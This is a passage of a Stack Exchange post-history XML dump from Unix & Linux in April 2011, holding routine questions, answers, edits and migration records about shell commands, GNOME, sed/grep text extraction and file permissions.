  <row Id="25718" PostHistoryTypeId="18" PostId="10588" RevisionGUID="c7bc04c3-f093-4b10-af45-dc89f7a448e5" CreationDate="2011-04-05T11:36:55.413" UserId="73" Comment="to http://unix.stackexchange.com/questions/2505/which-run-dialog" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25719" PostHistoryTypeId="18" PostId="10590" RevisionGUID="c7bc04c3-f093-4b10-af45-dc89f7a448e5" CreationDate="2011-04-05T11:36:55.413" UserId="73" Comment="from http://unix.stackexchange.com/questions/10588/whats-a-quick-launcher-app-which-will-do-auto-complete" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25720" PostHistoryTypeId="18" PostId="10591" RevisionGUID="c7bc04c3-f093-4b10-af45-dc89f7a448e5" CreationDate="2011-04-05T11:36:55.413" UserId="73" Comment="from http://unix.stackexchange.com/questions/10588/whats-a-quick-launcher-app-which-will-do-auto-complete" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25721" PostHistoryTypeId="18" PostId="10633" RevisionGUID="c7bc04c3-f093-4b10-af45-dc89f7a448e5" CreationDate="2011-04-05T11:36:55.413" UserId="73" Comment="from http://unix.stackexchange.com/questions/10588/whats-a-quick-launcher-app-which-will-do-auto-complete" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25722" PostHistoryTypeId="18" PostId="2505" RevisionGUID="c7bc04c3-f093-4b10-af45-dc89f7a448e5" CreationDate="2011-04-05T11:36:55.413" UserId="73" Comment="from http://unix.stackexchange.com/questions/10588/whats-a-quick-launcher-app-which-will-do-auto-complete" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25723" PostHistoryTypeId="14" PostId="10588" RevisionGUID="b1ccb81b-fc46-4b5f-9b2e-c7569d6738af" CreationDate="2011-04-05T11:36:55.787" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25724" PostHistoryTypeId="5" PostId="10655" RevisionGUID="fbb76b04-617a-4503-8d76-801c40f99376" CreationDate="2011-04-05T11:44:05.620" UserId="73" Comment="deleted 221 characters in body; edited tags; edited title" Text="When I run kile I get the message:&#xD;&#xA;&#xD;&#xA;&gt; QStatusBar::insertWidget: Index out of range (4), appending widget&#xD;&#xA;&#xD;&#xA;and I am not able to compile from Kile. While I press `pdfLatex` inside Kile, it freezes. What can I do to debug/fix this? I am using SuSE Linux 11.4&#xD;&#xA;" />
  <row Id="25725" PostHistoryTypeId="4" PostId="10655" RevisionGUID="fbb76b04-617a-4503-8d76-801c40f99376" CreationDate="2011-04-05T11:44:05.620" UserId="73" Comment="deleted 221 characters in body; edited tags; edited title" Text="Kile freezes running pdflatex" />
  <row Id="25726" PostHistoryTypeId="6" PostId="10655" RevisionGUID="fbb76b04-617a-4503-8d76-801c40f99376" CreationDate="2011-04-05T11:44:05.620" UserId="73" Comment="deleted 221 characters in body; edited tags; edited title" Text="écompilingàékileà" />
  <row Id="25727" PostHistoryTypeId="2" PostId="10657" RevisionGUID="99cf1c71-37b1-4f7a-a6fa-ce3acf982e27" CreationDate="2011-04-05T11:52:19.403" UserId="4485" Text="    sed -n '/&lt;wekobj&gt;/,/&lt;\/wekbject&gt;/p' &#xD;&#xA;&#xD;&#xA;can do what you ask for in the comment:&#xD;&#xA;&#xD;&#xA;    echo &quot;&lt;wekobj&gt;&#xD;&#xA;     &lt;name&gt;bla bla bla&lt;/name&gt;&#xD;&#xA;     &lt;/wekbject&gt;&#xD;&#xA;     &lt;strongobj&gt;&#xD;&#xA;     &lt;name&gt;this is not requred&lt;/name&gt;&#xD;&#xA;     &lt;/strongobj&gt;&#xD;&#xA;    &quot; | sed -n '/&lt;wekobj&gt;/,/&lt;\/wekbject&gt;/p' &#xD;&#xA;    &lt;wekobj&gt;&#xD;&#xA;     &lt;name&gt;bla bla bla&lt;/name&gt;&#xD;&#xA;     &lt;/wekbject&gt;&#xD;&#xA;&#xD;&#xA;note the misspelling of `wekobj`." />
  <row Id="25728" PostHistoryTypeId="2" PostId="10658" RevisionGUID="6c442a8b-bad1-4520-bdc8-a602d445b3d2" CreationDate="2011-04-05T11:53:51.023" UserId="3169" Text="If it's actually XML, you might be better off using a purpose-made tool.&#xD;&#xA;&#xD;&#xA;Two such tools would be `xml2` and `xmlstarlet`.&#xD;&#xA;&#xD;&#xA;For example, if I add `&lt;document&gt;&lt;/document&gt;` around your example, so there is a single root tag that contains the document, then I can do&#xD;&#xA;&#xD;&#xA;    $ xml2 &lt; yourfile.xml&#xD;&#xA;    /document/weakobj/name=bla bla bla&#xD;&#xA;    /document/strongobj/name=this is not required&#xD;&#xA;&#xD;&#xA;So then you can do&#xD;&#xA;&#xD;&#xA;    $ xml2 &lt; yourfile.xml | grep '^/document/weakobj/'&#xD;&#xA;    /document/weakobj/name=bla bla bla&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    $ xml2 &lt; yourfile.xml | sed -ne '/^\/document\/weakobj\/name=/s/^[^=]*=//p'&#xD;&#xA;    bla bla bla&#xD;&#xA;" />
  <row Id="25729" PostHistoryTypeId="5" PostId="10630" RevisionGUID="7084af00-7fac-455f-b886-29f9150a4e52" CreationDate="2011-04-05T11:57:12.440" UserId="73" Comment="deleted 4 characters in body" Text="I developed a Java application. I divided the application into 5 sub-applications, and created a service wrapper to each sub application using shell scripts:&#xD;&#xA;&#xD;&#xA;    subaap1/bin/app.sh&#xD;&#xA;    subaap2/bin/app.sh&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Now I want to create a startup script `startup.sh` to execute all the wrapper scripts:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    sh subaap1/bin/app.sh start&#xD;&#xA;    sh subaap2/bin/app.sh start&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;But when I run it, I get:&#xD;&#xA;&#xD;&#xA;&gt; Unexpected command: start&#xD;&#xA;&#xD;&#xA;How can I fix this?" />
  <row Id="25730" PostHistoryTypeId="25" PostId="10631" RevisionGUID="69b75cfe-5933-4368-a3bc-e2990992c0ba" CreationDate="2011-04-05T12:09:00.660" Comment="http://twitter.com/#!/StackUnix/status/55240518711513088" />
  <row Id="25731" PostHistoryTypeId="2" PostId="10659" RevisionGUID="5d324f7d-9e56-4432-a42f-9a86e5a664be" CreationDate="2011-04-05T12:10:57.397" UserId="4485" Text="You could source this rekursive function:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    ininterval () {&#xD;&#xA;    	delay=$1&#xD;&#xA;    	shift&#xD;&#xA;    	$*&#xD;&#xA;    	sleep $delay&#xD;&#xA;    	ininterval $delay $*&#xD;&#xA;    }&#xD;&#xA;or add an:&#xD;&#xA;    &#xD;&#xA;    ininterval $*&#xD;&#xA;and call the script.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25732" PostHistoryTypeId="4" PostId="10631" RevisionGUID="477b72ee-6b99-4f79-ab7e-7f122d0f4583" CreationDate="2011-04-05T12:26:37.830" UserId="1594" Comment="edited tags; edited title" Text="How to copy a long textfile to clipboard on gnome-terminal?" />
  <row Id="25733" PostHistoryTypeId="6" PostId="10631" RevisionGUID="477b72ee-6b99-4f79-ab7e-7f122d0f4583" CreationDate="2011-04-05T12:26:37.830" UserId="1594" Comment="edited tags; edited title" Text="égnomeàéterminalàéclipboardà" />
  <row Id="25734" PostHistoryTypeId="2" PostId="10660" RevisionGUID="9feb0d49-a2dc-4d62-a539-38a47211329d" CreationDate="2011-04-05T12:35:53.200" UserId="1594" Text="I'm trying to change the shortcut key for &quot;Run Application&quot; (Alt-F2) to the Windows key.&#xD;&#xA;&#xD;&#xA;When I click &quot;Show the panel's Run application dialog box&quot; in Keyboard Shorcuts, it says &quot;New Shortcut&quot;, waiting for my key combination. I press the Windows key ... and nothing happens.&#xD;&#xA;" />
  <row Id="25735" PostHistoryTypeId="1" PostId="10660" RevisionGUID="9feb0d49-a2dc-4d62-a539-38a47211329d" CreationDate="2011-04-05T12:35:53.200" UserId="1594" Text="Can I change a shortcut key to Windows key?" />
  <row Id="25736" PostHistoryTypeId="3" PostId="10660" RevisionGUID="9feb0d49-a2dc-4d62-a539-38a47211329d" CreationDate="2011-04-05T12:35:53.200" UserId="1594" Text="éubuntuàégnomeàékeyboardöshortcutsà" />
  <row Id="25737" PostHistoryTypeId="2" PostId="10661" RevisionGUID="b72dfb66-914e-4ccb-839a-40c0948c71cd" CreationDate="2011-04-05T12:39:30.483" UserId="1594" Text="I just got a new, strong ubuntu desktop. First time linux user.&#xD;&#xA;&#xD;&#xA;I'm trying the Run Application app (Alt-F2), try &quot;Ch&quot; for Chrome, and the app thinks for 2-3 seconds before displaying the list of apps starting with &quot;ch&quot;. This is semi-consistent - some searches are a bit faster, then they're slower again afterwards. What's up with that?" />
  <row Id="25738" PostHistoryTypeId="1" PostId="10661" RevisionGUID="b72dfb66-914e-4ccb-839a-40c0948c71cd" CreationDate="2011-04-05T12:39:30.483" UserId="1594" Text="Why is Run Application (Alt-F2) very sluggish on a new computer?" />
  <row Id="25739" PostHistoryTypeId="3" PostId="10661" RevisionGUID="b72dfb66-914e-4ccb-839a-40c0948c71cd" CreationDate="2011-04-05T12:39:30.483" UserId="1594" Text="éubuntuàégnomeàérunödialogà" />
  <row Id="25740" PostHistoryTypeId="2" PostId="10662" RevisionGUID="e7dd0f10-6711-4760-98e2-142d056f2ed5" CreationDate="2011-04-05T12:55:47.440" UserId="78" Text="I'm looking for a oneliner command that would slice an image into given proportions.&#xD;&#xA;&#xD;&#xA;Say input would be filename and slice dimensions. Are there any standard command-line tools for this? I tried ImageMagick to no avail since it garbled my image immensely (it's big, mostly transparent, png)." />
  <row Id="25741" PostHistoryTypeId="1" PostId="10662" RevisionGUID="e7dd0f10-6711-4760-98e2-142d056f2ed5" CreationDate="2011-04-05T12:55:47.440" UserId="78" Text="Oneliner for slicing an image?" />
  <row Id="25742" PostHistoryTypeId="3" PostId="10662" RevisionGUID="e7dd0f10-6711-4760-98e2-142d056f2ed5" CreationDate="2011-04-05T12:55:47.440" UserId="78" Text="écommandölineàéimageömanipulationàéimagemagickà" />
  <row Id="25743" PostHistoryTypeId="5" PostId="10632" RevisionGUID="e5dee1f3-e4cb-495d-bbbc-e09146a173ca" CreationDate="2011-04-05T12:55:56.177" UserId="3046" Comment="update after comments from Michael M" Text="You shouldn't need to use sh in your script to run your sub applications. &#xD;&#xA;&#xD;&#xA;Just use:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    subaap1/bin/app.sh start&#xD;&#xA;    subaap2/bin/app.sh start&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Updated as per comments below:&#xD;&#xA;&#xD;&#xA;your version should work, however you need to know what shell sh is calling. It may be that you have the wrong shell, or the permissions on your apps are incorrect for the shell you are trying to use." />
  <row Id="25744" PostHistoryTypeId="2" PostId="10663" RevisionGUID="ac1bd8f7-b9b3-463b-a813-682a66979b22" CreationDate="2011-04-05T13:14:47.317" UserId="688" Text="(I wanted to write this as a comment, but it got too long... and I like screenshots)&#xD;&#xA;&#xD;&#xA;I've found XFCE's run dialog far superior to that of GNOME. It's available from **xfce4-utils** package, and the binary is called **`xfrun4`**. I assigned it a keyboard shortcut, Alt+F2, replacing GNOME default.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;The reason why it's going to be much faster is because it doesn't do bash completion (or whatever GNOME's uses). It just checks it's own history (which will be far smaller).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/njokJ.png" />
  <row Id="25745" PostHistoryTypeId="2" PostId="10664" RevisionGUID="0513e201-0b42-44bc-a61b-711561d56527" CreationDate="2011-04-05T11:12:13.883" UserDisplayName="W3Coder" Text="Help!! Have you ever tried dragging a folder to another folder by mistake in a graphical SSH client?&#xD;&#xA;&#xD;&#xA;Well, I did this morning, and since I wanted it to stop immediately (I could see it was about to move hundreds of files), I closed down the client by hitting X.&#xD;&#xA;&#xD;&#xA;Now, my problem is, I don't know which folder was accidentally moved (well, actually, the client didn't have time to move the folder, but my guess is 3-4 files in it were actually moved).&#xD;&#xA;&#xD;&#xA;So my question is: **how do I recall the &quot;file transfer&quot; history (or whatever history I need) on a Debian/Linux system?**&#xD;&#xA;&#xD;&#xA;I have google'd it to no avail. And, of course, I have tried the &quot;history&quot; command and the .bash_history file, but I guess they only cover commands issued from the command line.&#xD;&#xA;&#xD;&#xA;I don't know how my SSH client issues file commands (my guess is it has something to do with SFTP) so I have no clue where to find the history.&#xD;&#xA;&#xD;&#xA;My client, in case it matters, is SSH Secure Shell for Windows." />
  <row Id="25746" PostHistoryTypeId="1" PostId="10664" RevisionGUID="0513e201-0b42-44bc-a61b-711561d56527" CreationDate="2011-04-05T11:12:13.883" UserDisplayName="W3Coder" Text="Where to find file transfer history from a SSH client (Debian/Linux)?" />
  <row Id="25747" PostHistoryTypeId="3" PostId="10664" RevisionGUID="0513e201-0b42-44bc-a61b-711561d56527" CreationDate="2011-04-05T11:12:13.883" UserDisplayName="W3Coder" Text="ésshàédebianàéfileötransferà" />
  <row Id="25748" PostHistoryTypeId="17" PostId="10664" RevisionGUID="d279a6d5-75f2-48d6-8369-033648a7be3d" CreationDate="2011-04-05T13:56:40.430" UserId="-1" Comment="from http://stackoverflow.com/questions/5550884/where-to-find-file-transfer-history-from-a-ssh-client-debian-linux" Text="" />
  <row Id="25749" PostHistoryTypeId="2" PostId="10665" RevisionGUID="60289749-744f-4602-b06f-4b05950376d6" CreationDate="2011-04-05T13:59:15.300" UserId="6302" Text="I'd do it like this&#xD;&#xA;$ egrep &quot;wekobj|name&quot; filename&#xD;&#xA;&#xD;&#xA;This will grep for all &lt;wekobj&gt; and &lt;name&gt; in your text file." />
  <row Id="25750" PostHistoryTypeId="2" PostId="10666" RevisionGUID="6548ded4-571d-4119-82d2-43bc2917079a" CreationDate="2011-04-05T14:01:01.100" UserId="6303" Text="AFAIK There isn't. Normally all ssh logins are logged to `/var/log/auth.log`, but afaik the information which file is transfered via sftp/scp isn't logged." />
  <row Id="25751" PostHistoryTypeId="5" PostId="10665" RevisionGUID="35f659f4-42bc-43ea-b955-e99040f0035a" CreationDate="2011-04-05T14:05:00.447" UserId="6302" Comment="added 6 characters in body; added 6 characters in body" Text="I'd do it like this  &#xD;&#xA;`&#xD;&#xA;$ egrep &quot;&lt;wekobj&gt;|&lt;name&gt;&quot; filename&#xD;&#xA;`  &#xD;&#xA;This will grep for all &lt;wekobj&gt; and &lt;name&gt; in your text file." />
  <row Id="25752" PostHistoryTypeId="17" PostId="10668" RevisionGUID="53e6d086-ebcc-47f8-bcc2-19cba74e37e1" CreationDate="2011-04-05T14:21:20.977" UserId="-1" Comment="from http://stackoverflow.com/questions/5550284/linux-shell-global-linux-memory-in-mem-variable-from-shell/5550342#5550342" Text="" />
  <row Id="25753" PostHistoryTypeId="17" PostId="10669" RevisionGUID="ede9865f-fcfd-443b-bf6c-85a911f27c85" CreationDate="2011-04-05T14:21:20.977" UserId="-1" Comment="from http://stackoverflow.com/questions/5550284/linux-shell-global-linux-memory-in-mem-variable-from-shell/5550417#5550417" Text="" />
  <row Id="25754" PostHistoryTypeId="2" PostId="10668" RevisionGUID="adc55773-29fe-4fad-a9d8-737f8a8e0530" CreationDate="2011-04-05T10:19:51.453" UserId="903" Text="You can use `export` to mark a variable to be passed to child processes in the environment.&#xD;&#xA;&#xD;&#xA;    export linux_test_run=yes&#xD;&#xA;&#xD;&#xA;If you want the variable to be available to newly connected users you'll need to edit the shell's initialization files." />
  <row Id="25755" PostHistoryTypeId="2" PostId="10669" RevisionGUID="e48c3d1a-5b56-46dd-8f2e-cae9bc860d5b" CreationDate="2011-04-05T10:27:37.227" UserId="5586" Text="Sorry, you'll have to edit a startup file somewhere, and if you want it for all users, probably the bashrc in /etc.&#xD;&#xA;&#xD;&#xA;However, if the only reason that you don't want to use files is that you want this behaviour to disappear on reboot, there are other ways to do that:&#xD;&#xA;&#xD;&#xA; 1. Call a file `setvariable.bash` from within the bashrc. Within that file, you export your variable&#xD;&#xA; 2. Put a file in your /etc/init.d that will launch on reboot and deactivate the setvariable.bash file (replacing it by a blank file or something)&#xD;&#xA;&#xD;&#xA;It's a hack, but it might work." />
  <row Id="25756" PostHistoryTypeId="2" PostId="10667" RevisionGUID="1d05c3db-39ba-412a-a2bd-2c0a5a61369d" CreationDate="2011-04-05T10:12:59.423" UserDisplayName="Jason" Text="Is there any way for me to set an env variable without editing files to be in memory and effect other shells as well, which will take effect on any new user who connects that machine and will take effect only after next reboot of the Linux machine?&#xD;&#xA;&#xD;&#xA;I'm trying to remember something in my linux which will be effective (from a script) only for the time the machine is up (I don't want a file for that reason) so from my shell I want to set some flag which will be valid for any user connecting like:&#xD;&#xA;&#xD;&#xA;    linux_test_run=yes&#xD;&#xA;&#xD;&#xA;however I want it to be effective for any new shell opened on that Linux.&#xD;&#xA;and I want that next time someone reboots that machine that variable disappears...&#xD;&#xA;&#xD;&#xA;Any (simple) for me to achieve that? (without using files...)" />
  <row Id="25757" PostHistoryTypeId="1" PostId="10667" RevisionGUID="1d05c3db-39ba-412a-a2bd-2c0a5a61369d" CreationDate="2011-04-05T10:12:59.423" UserDisplayName="Jason" Text="linux shell global linux memory in mem variable - from shell" />
  <row Id="25758" PostHistoryTypeId="3" PostId="10667" RevisionGUID="1d05c3db-39ba-412a-a2bd-2c0a5a61369d" CreationDate="2011-04-05T10:12:59.423" UserDisplayName="Jason" Text="ébashàéshellà" />
  <row Id="25759" PostHistoryTypeId="17" PostId="10667" RevisionGUID="5128aeba-8227-4ad1-a1ef-76f8fbfe53ef" CreationDate="2011-04-05T14:21:20.977" UserId="-1" Comment="from http://stackoverflow.com/questions/5550284/linux-shell-global-linux-memory-in-mem-variable-from-shell" Text="" />
  <row Id="25760" PostHistoryTypeId="5" PostId="812" RevisionGUID="0782390e-6208-4899-bdc4-d5fc7742f0ee" CreationDate="2011-04-05T14:31:11.327" UserId="688" Comment="formatting; spelling" Text="1. Minimizing loss: If `/usr` is on separate partition a damaged `/usr` does not mean that you cannot recover `/etc`.&#xD;&#xA;2. Security: `/` cannot be always ro (`/root` may need to be rw etc.) but `/usr` can. It can be used to made ro as much as possible.&#xD;&#xA;3. Using different FS: I may want to use different system for `/tmp` (not reliable but fast for many files) and `/home` (have to be reliable). Similary `/var` contains data while `/usr` not so `/usr` stability can be sacrifice but not so much as `/tmp`.&#xD;&#xA;4. Duration of fsck: Smaller partitions means that checking one is faster.&#xD;&#xA;5. Mentioned filling up of partions, although other method is quotas." />
  <row Id="25761" PostHistoryTypeId="2" PostId="10670" RevisionGUID="d276b761-3eac-485e-b770-19edf88c2197" CreationDate="2011-04-05T14:34:08.197" UserId="6305" Text="I've tried Ubuntu 10.4, Linux 9 (same difference) Jolicloud Pre-beta, 1.0. 1.1, &amp; 1.2, Fedora 12 &amp; 13.&#xD;&#xA;Ubuntu 10.4 has been by far the most stable, but kernal updates are risky and I've had to back track a few times. Jolicloud just gets worse and worse. 1.1 and 1.2 failed completely and support started to sound like they were almost at the point where they were blaming Ubuntu or Grub!&#xD;&#xA;I've ran Mandriva 2011 Spring live and it all seems in place, recognising the Poulsbo and offering to download the (non-free) driver. Unfortunately I was out off the office so no net connection to try this out. Plan to install it in a second partition alongside Ubuntu 10.4." />
  <row Id="25762" PostHistoryTypeId="5" PostId="10559" RevisionGUID="715b2071-dd27-4298-bcb0-122091fb6fb4" CreationDate="2011-04-05T14:36:34.813" UserId="6261" Comment="change '-k' to '-K' (http://www.linuxmanpages.com/man1/man.1.php)" Text="A useful command for mi is `man -K [key_word]` this search for a man page with the 'key_word' in the short description of the man page. The result are show with the section between brackets:&#xD;&#xA;&#xD;&#xA;    [gojan@Gonux ~]$ man -K copy&#xD;&#xA;    ...&#xD;&#xA;    cp (1)               - copy files and directories&#xD;&#xA;    cp (1p)              - copy files&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;You can use this number to avoid ambiguity like:&#xD;&#xA;&#xD;&#xA;    [gojan@Gonux ~]$ man 1 cp&#xD;&#xA;    CP(1)                                                         User Commands                                                         CP(1)&#xD;&#xA;    &#xD;&#xA;    NAME&#xD;&#xA;           cp - copy files and directories&#xD;&#xA;    ...&#xD;&#xA;    [gojan@Gonux ~]$ man 1p cp&#xD;&#xA;    CP(1P)                                                  POSIX Programmer's Manual                                                  CP(1P)&#xD;&#xA;    &#xD;&#xA;    PROLOG&#xD;&#xA;           This  manual  page  is  part of the POSIX Programmer's Manual.  The Linux implementation of this interface may differ (consult the&#xD;&#xA;           corresponding Linux manual page for details of Linux behavior), or the interface may not be implemented on Linux." />
  <row Id="25763" PostHistoryTypeId="2" PostId="10671" RevisionGUID="3be8bd9d-9dc8-44cc-b2f1-9d3236796a8a" CreationDate="2011-04-05T14:36:56.077" UserId="4856" Text="First of all, I found a [similar][1] question but it doesn't really solve my problem. I am trying to discover if the USB bus for a device I am using is the bottleneck in my program.&#xD;&#xA;&#xD;&#xA;How can I monitor a USB bus (similar to how gnome-system-monitor works) to show bus utilization? Basically I want to identify when the bus is being 'maxed' out. I guess what I am looking for is some interface for usbmon, as that appears like it would do what I need.&#xD;&#xA;&#xD;&#xA;This came about from testing the USRP and GNU Radio. I am running into a situation where it appears that the USB bus could be a limiting factor, so I ask the more general question of USB performance monitoring.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/2354/monitoring-usb-traffic" />
  <row Id="25764" PostHistoryTypeId="1" PostId="10671" RevisionGUID="3be8bd9d-9dc8-44cc-b2f1-9d3236796a8a" CreationDate="2011-04-05T14:36:56.077" UserId="4856" Text="USB performance/traffic monitor?" />
  <row Id="25765" PostHistoryTypeId="3" PostId="10671" RevisionGUID="3be8bd9d-9dc8-44cc-b2f1-9d3236796a8a" CreationDate="2011-04-05T14:36:56.077" UserId="4856" Text="éusbàéperformanceàémonitoringà" />
  <row Id="25766" PostHistoryTypeId="2" PostId="10672" RevisionGUID="7ee26b0a-d949-4002-a564-f73991fde58f" CreationDate="2011-04-05T14:42:25.133" UserId="2818" Text="Using **GNU** `grep`:&#xD;&#xA;   &#xD;&#xA;    % grep -A1 '&lt;wekobj&gt;' content&#xD;&#xA;    &lt;wekobj&gt;&#xD;&#xA;    &lt;name&gt;bla bla bla&lt;/name&gt;&#xD;&#xA;    --&#xD;&#xA;    &lt;wekobj&gt;&#xD;&#xA;    &lt;name&gt;second bla bla&lt;/name&gt;&#xD;&#xA;&#xD;&#xA;N.B: This looks suspiciously like XML and the kind of question that might lead to *parsing* and then *regular expressions*. You may want to read [this][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/q/701166/78845" />
  <row Id="25767" PostHistoryTypeId="5" PostId="10665" RevisionGUID="4770d2ac-ee8f-46f4-bc54-ba2d625c3e3d" CreationDate="2011-04-05T14:43:28.033" UserId="73" Comment="added 6 characters in body" Text="I'd do it like this  &#xD;&#xA;&#xD;&#xA;    $ egrep &quot;&lt;wekobj&gt;|&lt;name&gt;&quot; filename&#xD;&#xA;  &#xD;&#xA;This will grep for all `&lt;wekobj&gt;` and `&lt;name&gt;` in your text file." />
  <row Id="25771" PostHistoryTypeId="18" PostId="10636" RevisionGUID="cc3f6107-e718-4e58-aee9-cf0b3683042a" CreationDate="2011-04-05T14:45:27.143" UserId="73" Comment="from http://unix.stackexchange.com/questions/10635/how-to-make-pattern-for-grep-command-on-linux-for-muiltiline-pattern" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25772" PostHistoryTypeId="18" PostId="10637" RevisionGUID="cc3f6107-e718-4e58-aee9-cf0b3683042a" CreationDate="2011-04-05T14:45:27.143" UserId="73" Comment="from http://unix.stackexchange.com/questions/10635/how-to-make-pattern-for-grep-command-on-linux-for-muiltiline-pattern" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25773" PostHistoryTypeId="18" PostId="10638" RevisionGUID="cc3f6107-e718-4e58-aee9-cf0b3683042a" CreationDate="2011-04-05T14:45:27.143" UserId="73" Comment="from http://unix.stackexchange.com/questions/10635/how-to-make-pattern-for-grep-command-on-linux-for-muiltiline-pattern" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25774" PostHistoryTypeId="18" PostId="10665" RevisionGUID="cc3f6107-e718-4e58-aee9-cf0b3683042a" CreationDate="2011-04-05T14:45:27.143" UserId="73" Comment="from http://unix.stackexchange.com/questions/10635/how-to-make-pattern-for-grep-command-on-linux-for-muiltiline-pattern" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25775" PostHistoryTypeId="18" PostId="10672" RevisionGUID="cc3f6107-e718-4e58-aee9-cf0b3683042a" CreationDate="2011-04-05T14:45:27.143" UserId="73" Comment="from http://unix.stackexchange.com/questions/10635/how-to-make-pattern-for-grep-command-on-linux-for-muiltiline-pattern" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25776" PostHistoryTypeId="18" PostId="10624" RevisionGUID="cc3f6107-e718-4e58-aee9-cf0b3683042a" CreationDate="2011-04-05T14:45:27.143" UserId="73" Comment="from http://unix.stackexchange.com/questions/10635/how-to-make-pattern-for-grep-command-on-linux-for-muiltiline-pattern" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25778" PostHistoryTypeId="2" PostId="10673" RevisionGUID="9e53cf9b-c979-4971-9421-8659837ce529" CreationDate="2011-04-05T15:01:02.257" UserId="1594" Text="I'm trying to copy a file from my homedir to /usr. How do I setup the permissions to allow this?&#xD;&#xA;&#xD;&#xA;    $ chmod 777 KeePass-2.14.zip&#xD;&#xA;    $ cp KeePass-2.14.zip /usr/keepass/&#xD;&#xA;    cp: cannot create regular file `/usr/keepass/KeePass-2.14.zip': Permission denied&#xD;&#xA;    $ sudo cp KeePass-2.14.zip /usr/keepass/&#xD;&#xA;    cp: cannot stat `KeePass-2.14.zip': Permission denied&#xD;&#xA;    $" />
  <row Id="25779" PostHistoryTypeId="1" PostId="10673" RevisionGUID="9e53cf9b-c979-4971-9421-8659837ce529" CreationDate="2011-04-05T15:01:02.257" UserId="1594" Text="How to copy a file from my home folder to /usr" />
  <row Id="25780" PostHistoryTypeId="3" PostId="10673" RevisionGUID="9e53cf9b-c979-4971-9421-8659837ce529" CreationDate="2011-04-05T15:01:02.257" UserId="1594" Text="épermissionsà" />
  <row Id="25781" PostHistoryTypeId="25" PostId="10673" RevisionGUID="e9c46dd2-642f-4264-8606-e1ea7d82c4bc" CreationDate="2011-04-05T15:09:00.483" Comment="http://twitter.com/#!/StackUnix/status/55285816964034560" />
  <row Id="25782" PostHistoryTypeId="2" PostId="10674" RevisionGUID="16070099-5c95-47f2-9049-17acc99156fa" CreationDate="2011-04-05T15:19:11.800" UserId="6302" Text="Change permission on directory `/usr/keepass` to 777 and then `cp` the files to `/usr/keepass/` " />
  <row Id="25783" PostHistoryTypeId="2" PostId="10675" RevisionGUID="5f6fe371-baaf-4a18-817f-0394ee1f612d" CreationDate="2011-04-05T15:44:45.150" UserId="5550" Text="[netpbm][1] tools can do this. If you are talking about cropping it:&#xD;&#xA;&#xD;&#xA;    $ pngtopnm image.png | pnmcut -width 500 -height 500 | pnmtopng &gt; image_cropped.png&#xD;&#xA;&#xD;&#xA;If you want to scale it use pnmscale.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://netpbm.sourceforge.net/" />
  <row Id="25784" PostHistoryTypeId="2" PostId="10676" RevisionGUID="4573cedd-53c4-49f5-9038-6df718d8ee4a" CreationDate="2011-04-05T16:06:16.357" UserId="2343" Text="It has been 10 hours since I asked the question, and I've worked out a solution... &#xD;&#xA;  &#xD;&#xA;Comments on its features and failings would be appreciated. I don't quite understand how stdin is picked up by `zenity` and `tr` when `echo` is the first command, but I just thought I'd give it a go... It seems to work (in this case), butt is this method safe?   &#xD;&#xA;&#xD;&#xA;There are quite likely to be some well tried and tested methods out there to tackle this, so other answers would be worthwile....&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    # Set up flag-files for processes to send PIDs to main process&#xD;&#xA;    # The first thing each process does is: echo -n &quot;$BASHPID &quot; &gt; flag-file  &#xD;&#xA;    for i in {1..2};do cp /dev/null &quot;$listf&quot;.pid$i;done&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    eval locate $zenargs |tee \&#xD;&#xA;        &gt;(echo -n &quot;$BASHPID &quot; &gt; &quot;$listf&quot;.pid1 ; \&#xD;&#xA;          zenity --progress --pulsate --auto-close) \&#xD;&#xA;        &gt;(echo -n &quot;$BASHPID &quot; &gt; &quot;$listf&quot;.pid2 ; \&#xD;&#xA;          tr $'\x60' $X01 \&#xD;&#xA;           |sed -n 